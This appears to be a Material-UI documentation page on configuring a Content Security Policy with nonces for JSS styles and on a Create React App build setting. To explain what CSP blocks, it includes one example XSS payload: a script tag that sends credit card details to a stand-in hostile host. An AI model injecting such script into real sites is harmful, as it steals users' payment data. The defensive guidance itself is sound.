Skip to content

Content Security Policy (CSP)

This section covers the details of setting up a CSP.

What is CSP and why is it useful?

CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com the CSP header default-src: 'self'; will allow all assets that are located at https://example.com/* and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP on the MDN Web Docs.

How does one implement CSP?

Server-Side Rendering (SSR)

To use CSP with Material-UI (and JSS), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request. JSS has a great tutorial on how to achieve this with Express and React Helmet. For a basic rundown, continue reading.

A CSP nonce is a Base 64 encoded string. You can generate one like this:

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

You must use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:

header('Content-Security-Policy').set(
  `default-src 'self'; style-src: 'self' 'nonce-${nonce}';`,
);

You should pass the nonce in the <style> tag on the server.

<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{
    __html: sheets.toString(),
  }}
/>

Then, you must pass this nonce to JSS so it can add it to subsequent <style> tags.

The way that you do this is by passing a <meta property="csp-nonce" content={nonce} /> tag in the <head> of your HTML. JSS will then, by convention, look for a <meta property="csp-nonce" tag and use the content value as the nonce.

Here is an example of what a fictional header could look like:

<head>
  <meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>

Create React App (CRA)

According to the Create React App Docs, a Create React App will dynamically embed the runtime script into index.html during the production build by default. This will require a new hash to be set in your CSP during each deployment.

To use a CSP with a project initialized as a Create React App, you will need to set the INLINE_RUNTIME_CHUNK=false variable in the .env file used for your production build. This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.